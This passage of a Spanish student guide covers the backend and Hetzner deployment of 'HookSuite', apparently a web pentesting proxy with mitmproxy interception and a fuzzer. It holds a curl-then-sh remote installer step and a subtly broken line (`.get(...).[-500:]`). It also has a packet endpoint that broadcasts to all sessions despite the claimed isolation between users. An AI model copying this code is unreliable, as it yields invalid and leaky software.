
    except re.error as e:
        return {
            "matches": [],
            "count": 0,
            "error": str(e),
        }

```

## 16.2 Commit del bloque 05:

```

git add .
git commit -m "feat(backend): endpoints de utilidades (hash, encode, regex)"
git push origin feature/backend

```

# BLOQUE 06 — Receptor de paquetes de red

## Paso 17 — Crear el endpoint receptor de paquetes de DevTools

🧡 **CONTACTO CON P4 DevTools** — Este endpoint es donde P4 enviará los paquetes capturados por Chrome DevTools. Cuando P4 esté listo para empezar a enviar paquetes, compártele la URL exacta de este endpoint:

- URL: **POST** `http://localhost:8000/api/network/packet`
- Formato del body: el objeto `NetworkPacket` definido en `models/schemas.py`
- También necesita saber que los paquetes se emiten al frontend de la sesión correspondiente vía WebSocket con el evento `network_packet`

### 17.1 Reemplaza el contenido de `routes/network.py`:

```

from fastapi import APIRouter
from models.schemas import NetworkPacket
from services.session_service import session_manager

router = APIRouter()

pending_packets = []

@router.post("/packet")
async def receive_network_packet(packet: NetworkPacket):
    packet_dict = packet.model_dump()

    for token, session in session_manager.sessions.items():
        session.setdefault("network_packets", []).append(packet_dict)
        await session_manager.emit(token, "network_packet", packet_dict)

    return {"received": True, "id": packet.id}

```

```

@router.post("/packet/{session_token}")
async def receive_packet_for_session(session_token: str, packet: NetworkPacket):
    packet_dict = packet.model_dump()

    session = session_manager.get_session(session_token)
    session.setdefault("network_packets", []).append(packet_dict)

    await session_manager.emit(session_token, "network_packet", packet_dict)

    return {"received": True, "id": packet.id}

@router.get("/packets/{session_token}")
async def get_packets(session_token: str):
    session = session_manager.get_session(session_token)
    return session.get("network_packets", []).[-500:]

```

## 17.2 Commit del bloque 06:

```

git add .
git commit -m "feat(backend): endpoint receptor de paquetes de red de Chrome DevTools"
git push origin feature/backend

```

# BLOQUE 07 — Despliegue en Hetzner

## Paso 18 — Crear el Dockerfile del backend

### 18.1 Crea el archivo `backend/Dockerfile`:

```

FROM python:3.11-slim

WORKDIR /app

RUN apt-get update && apt-get install -y \
    build-essential \
    && rm -rf /var/lib/apt/lists/*

COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

COPY . .

EXPOSE 8000
EXPOSE 8080

```

```
CMD ["uvicorn", "main:app", "--host", "0.0.0.0", "--port", "8000"]
```

## 18.2 Crea el archivo `docker-compose.yml` en la raíz del repositorio:

```
version: '3.8'

services:
  backend:
    build: ./backend
    ports:
      - "8000:8000"
      - "8080:8080"
    environment:
      - ANTHROPIC_API_KEY=${ANTHROPIC_API_KEY}
      - HOST=0.0.0.0
      - PORT=8000
      - PROXY_PORT=8080
    volumes:
      - ./backend:/app
    restart: unless-stopped

  frontend:
    build: ./frontend
    ports:
      - "80:80"
    depends_on:
      - backend
    restart: unless-stopped

  nginx:
    image: nginx:alpine
    ports:
      - "443:443"
    volumes:
      - ./infra/nginx.conf:/etc/nginx/nginx.conf:ro
      - ./infra/certs:/etc/nginx/certs:ro
    depends_on:
      - backend
      - frontend
    restart: unless-stopped
```

## 18.3 Crea el directorio `infra` y el archivo de configuración de Nginx:

```
mkdir -p infra
```

Crea `infra/nginx.conf`:

```
events {
    worker_connections 1024;
}

http {
    upstream backend {
        server backend:8000;
    }

    upstream frontend {
        server frontend:80;
    }

    server {
        listen 80;
        server_name _;

        location /api/ {
            proxy_pass http://backend;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
        }

        location /ws/ {
            proxy_pass http://backend;
            proxy_http_version 1.1;
            proxy_set_header Upgrade $http_upgrade;
            proxy_set_header Connection "upgrade";
            proxy_set_header Host $host;
        }

        location /proxy.pac {
            proxy_pass http://backend/api/proxy/proxy.pac;
        }

        location /check/ {
            proxy_pass http://backend/api/proxy/check/;
        }

        location / {
            proxy_pass http://frontend;
        }
    }
}
```

---

## Paso 19 — Aprovisionar el servidor Hetzner

**19.1** Ve a <https://console.hetzner.cloud> y crea una cuenta si no tienes una.

**19.2** Crea un nuevo proyecto llamado "HookSuite".

**19.3** Dentro del proyecto crea un nuevo servidor con estas opciones:

- **Tipo:** CX22 (2 vCPU, 4GB RAM, ~4€/mes)
- **Imagen:** Ubuntu 24.04
- **Región:** La más cercana a tu ubicación
- **SSH Key:** Añade tu clave pública SSH

Para obtener tu clave pública SSH en Mac/Linux:

```
cat ~/.ssh/id_rsa.pub
```

Si no tienes clave SSH, créala primero:

```
ssh-keygen -t rsa -b 4096  
cat ~/.ssh/id_rsa.pub
```

**19.4** Anota la IP pública del servidor. La necesitarás para el subdominio y para el archivo PAC.

**19.5** Conéctate al servidor:

```
ssh root@[IP-DEL-SERVIDOR]
```

**19.6** Actualiza el sistema e instala Docker:

```
apt-get update && apt-get upgrade -y  
curl -fsSL https://get.docker.com -o get-docker.sh  
sh get-docker.sh  
apt-get install -y docker-compose-plugin
```

**19.7** Verifica que Docker funciona:

```
docker --version  
docker compose version
```

 **PROMPT DE IA** — Si tienes problemas instalando Docker en Ubuntu:

```
Estoy configurando un servidor Ubuntu 24.04 en Hetzner para desplegar  
HookSuite. Cuando ejecuto [comando] me da este error: [pega el error]. ¿Cómo  
lo soluciono?
```

## Paso 20 — Desplegar HookSuite en Hetzner

### 20.1 En el servidor Hetzner, clona el repositorio:

```
git clone https://github.com/[URL-DEL-REPO]/hooksuite.git
cd hooksuite
```

### 20.2 Crea el archivo `.env` en el servidor con las credenciales reales:

```
nano .env
```

Contenido:

```
ANTHROPIC_API_KEY=tu_api_key_real_aqui
HOST=0.0.0.0
PORT=8000
PROXY_PORT=8080
```

### 20.3 Abre los puertos necesarios en el firewall del servidor:

```
ufw allow 22
ufw allow 80
ufw allow 443
ufw allow 8000
ufw allow 8080
ufw enable
```

### 20.4 Arranca todos los servicios con Docker Compose:

```
docker compose up -d --build
```

### 20.5 Verifica que todo está corriendo:

```
docker compose ps
```

Debes ver los tres servicios (backend, frontend, nginx) con estado "running".

### 20.6 Verifica que el backend responde:

```
curl http://[IP-DEL-SERVIDOR]:8000/health
```

Debes recibir: `{"status": "ok", "service": "HookSuite Backend"}`

📌 **CONTACTO CON P5 GitHub** — Cuando el servidor esté funcionando, comunica a P5:

- La IP del servidor: `[IP-DEL-SERVIDOR]`
- Que el backend responde en el puerto 8000
- Que P5 puede configurar el GitHub Action con esta IP para el despliegue automático
- El comando de despliegue en el servidor es: `cd /root/hooksuite && git pull && docker compose up -d --build`

## Paso 21 — Configurar el subdominio

**21.1** El subdominio lo asigna el profesor o el centro. Una vez que tengas el subdominio asignado (por ejemplo `hooksuite.tudominio.com`), configura el DNS apuntando a la IP de Hetzner.

**21.2** Actualiza el archivo `infra/nginx.conf` con tu dominio real:

```
server {  
    listen 80;  
    server_name hooksuite.tudominio.com;  
    ...  
}
```

**21.3** Instala Certbot para el certificado HTTPS:

```
apt-get install -y certbot python3-certbot-nginx  
certbot --nginx -d hooksuite.tudominio.com
```

**21.4** Reinicia Nginx:

```
docker compose restart nginx
```

**21.5** Verifica que HTTPS funciona abriendo `https://hooksuite.tudominio.com` en el navegador.

**21.6** Commit con los cambios de configuración:

```
git add .  
git commit -m "feat(backend): configuración Docker, Nginx y despliegue Hetzner"  
git push origin feature/backend
```

---

## BLOQUE 08 — Documentación y entrega

---

### Paso 22 — Documentar la API con FastAPI

FastAPI genera documentación automática. Verifica que está completa y profesional.

**22.1** Abre <http://localhost:8000/docs> en el navegador.

**22.2** Verifica que todos los endpoints tienen:

- Descripción clara de qué hace
- Parámetros documentados con tipos correctos
- Respuestas de ejemplo

**22.3** Si algún endpoint le falta descripción, añádela directamente en el router. Ejemplo:

```
@router.post("/send", summary="Enviar petición HTTP", description="Reenvía una  
petición HTTP al servidor destino y devuelve la respuesta completa")  
async def send_request(request: RepeaterRequest):  
    ...
```

**22.4** Toma una captura de la documentación Swagger en [/docs](#) para incluirla en el informe PDF.

---

### Paso 23 — Escribir el diagrama de arquitectura técnica

Escribe el archivo [/docs/arquitectura.md](#) en el repositorio:

```
# Arquitectura técnica de HookSuite  
  
## Componentes del sistema  
  
### Backend (FastAPI)  
- Puerto 8000: API REST y WebSockets  
- Puerto 8080: Proxy TCP (mitmproxy)  
  
### Proxy interceptor  
- mitmproxy escucha en el puerto 8080  
- Intercepta todo el tráfico del navegador configurado con el PAC  
- Emite eventos WebSocket al frontend en tiempo real  
  
### WebSocket  
- Endpoint: ws://[servidor]/ws/{session_token}  
- Eventos emitidos: request_intercepted, intruder_result, network_packet,  
vulnerability_detected  
  
### Sesiones  
- Cada usuario tiene un token UUID único
```

- Las sesiones se almacenan en memoria
- Aislamiento completo entre usuarios

## ## Flujo de una petición interceptada

1. Usuario navega con el proxy PAC configurado
2. El tráfico pasa por mitmproxy en el puerto 8080
3. mitmproxy captura la petición y la respuesta
4. El addon de HookSuite construye el objeto NetworkPacket
5. El objeto se emite al WebSocket del usuario
6. El frontend de P1 recibe el evento y actualiza el panel en tiempo real
7. El paquete se envía al módulo de IA (P5) para análisis

---

## Paso 24 — Escribir la guía de despliegue paso a paso

Escribe el archivo `/docs/guia_despliegue.md` en el repositorio:

### # Guía de despliegue – HookSuite

#### ## Requisitos

- Servidor Ubuntu 24.04 (Hetzner CX22 recomendado)
- Docker y Docker Compose instalados
- Acceso SSH al servidor
- API Key de Anthropic

#### ## Pasos

##### ### 1. Acceder al servidor

```
ssh root@[IP-DEL-SERVIDOR]
```

##### ### 2. Clonar el repositorio

```
git clone https://github.com/[URL-DEL-REPO]/hooksuite.git
cd hooksuite
```

##### ### 3. Configurar variables de entorno

```
cp .env.example .env
nano .env
```

# Añade la API Key de Anthropic y configura los puertos

##### ### 4. Abrir puertos en el firewall

```
ufw allow 22 && ufw allow 80 && ufw allow 443 && ufw allow 8000 && ufw allow 8080
&& ufw enable
```

##### ### 5. Arrancar los servicios

```
docker compose up -d --build
```

##### ### 6. Verificar el despliegue

```
curl http://[IP]:8000/health
```

# Debe devolver: {"status": "ok", "service": "HookSuite Backend"}

```
### 7. Actualizar el despliegue (cuando haya cambios)
cd /root/hooksuite && git pull && docker compose up -d --build
```

 **PROMPT DE IA** — Para completar o mejorar la guía de despliegue:

Estoy escribiendo la guía de despliegue técnico de HookSuite, una herramienta de pentesting web desplegada con Docker en Hetzner. Necesito añadir la sección de [describe qué falta: configuración de HTTPS / resolución de problemas comunes / monitorización del servidor]. Dame el contenido en formato Markdown técnico y claro.

## Paso 25 — Capturas para el informe PDF

Guarda estas capturas en `/docs/capturas/backend/`:

- `swagger_ui.png` — La documentación Swagger en `/docs` con todos los endpoints visibles
- `websocket_conectado.png` — La consola del navegador mostrando la conexión WebSocket activa
- `proxy_interceptando.png` — Logs del servidor mostrando peticiones siendo interceptadas
- `docker_compose_running.png` — Salida de `docker compose ps` con todos los servicios running
- `hetzner_servidor.png` — Panel de Hetzner mostrando el servidor CX22 activo
- `health_endpoint.png` — El navegador mostrando la respuesta del endpoint `/health`

## Paso 26 — Documentar el módulo backend

Escribe el archivo `/docs/manual_backend.md`:

```
# Documentación técnica – HookSuite Backend

## Stack tecnológico
- Python 3.11
- FastAPI 0.111
- mitmproxy 10.2 (proxy TCP)
- httpx (cliente HTTP asíncrono)
- WebSockets (comunicación en tiempo real)
- Docker + Docker Compose (contenedorización)

## Módulos del backend

### Proxy interceptor
Implementado con mitmproxy corriendo como addon personalizado.
Escucha en el puerto 8080 e intercepta todo el tráfico HTTP/HTTPS.
Los paquetes capturados se emiten al frontend vía WebSocket.

### Repeater
Endpoint POST /api/repeater/send que reenvía peticiones arbitrarias.
Parser de raw HTTP y cURL implementado con expresiones regulares.
```

### ### Intruder

Motor de fuzzing asíncrono con `asyncio.Semaphore` para control de concurrencia. Biblioteca de payloads para SQLi, Blind SQLi, XSS y fuzzing genérico. Los resultados se emiten en tiempo real al frontend vía WebSocket.

### ### Utilidades

Endpoints para hash (MD5, SHA1, SHA256, SHA512), encode/decode y regex tester. Implementados con la librería estándar de Python sin dependencias externas.

### ## Decisiones de diseño

- Se usó `mitmproxy` en vez de implementar un proxy TCP propio para garantizar compatibilidad con HTTPS y certificados
- Las sesiones se almacenan en memoria (no en base de datos) por simplicidad y velocidad. En Práctica 2 se migrará a Redis para persistencia
- El límite de concurrencia del Intruder es 5 por defecto para no sobrecargar el servidor Hetzner CX22

## Checklist final antes de la entrega

Antes del día 22, verifica que todo está en orden:

- ☐ El servidor FastAPI arranca sin errores con `python main.py`
- ☐ El endpoint `/health` responde correctamente
- ☐ El endpoint `/check/alive` responde correctamente
- ☐ El WebSocket acepta conexiones en `/ws/{token}`
- ☐ El archivo PAC se sirve en `/proxy.pac` con el Content-Type correcto
- ☐ El proxy `mitmproxy` intercepta peticiones en el puerto 8080
- ☐ Las peticiones interceptadas llegan al frontend vía WebSocket
- ☐ El endpoint `/api/repeater/send` reenvía peticiones correctamente
- ☐ El parser de raw HTTP funciona con peticiones reales
- ☐ El parser de cURL funciona con peticiones reales
- ☐ El motor de fuzzing lanza ataques y emite resultados por WebSocket
- ☐ Los payloads de SQLi, XSS y fuzzing están disponibles
- ☐ Los endpoints de utilidades (hash, encode, regex) funcionan
- ☐ El endpoint `/api/network/packet` recibe paquetes de P4
- ☐ Docker Compose levanta todos los servicios correctamente
- ☐ El servidor Hetzner está corriendo y accesible desde internet
- ☐ El endpoint de salud responde desde la IP de Hetzner
- ☐ Nginx enruta correctamente `/api/` al backend y `/ws/` con WebSockets
- ☐ El PR a main está aprobado por P5
- ☐ La documentación Swagger en `/docs` está completa
- ☐ Las capturas para el informe están en `/docs/capturas/backend/`
- ☐ La guía de despliegue está escrita en `/docs/guia_despliegue.md`
- ☐ El diagrama de arquitectura está en `/docs/arquitectura.md`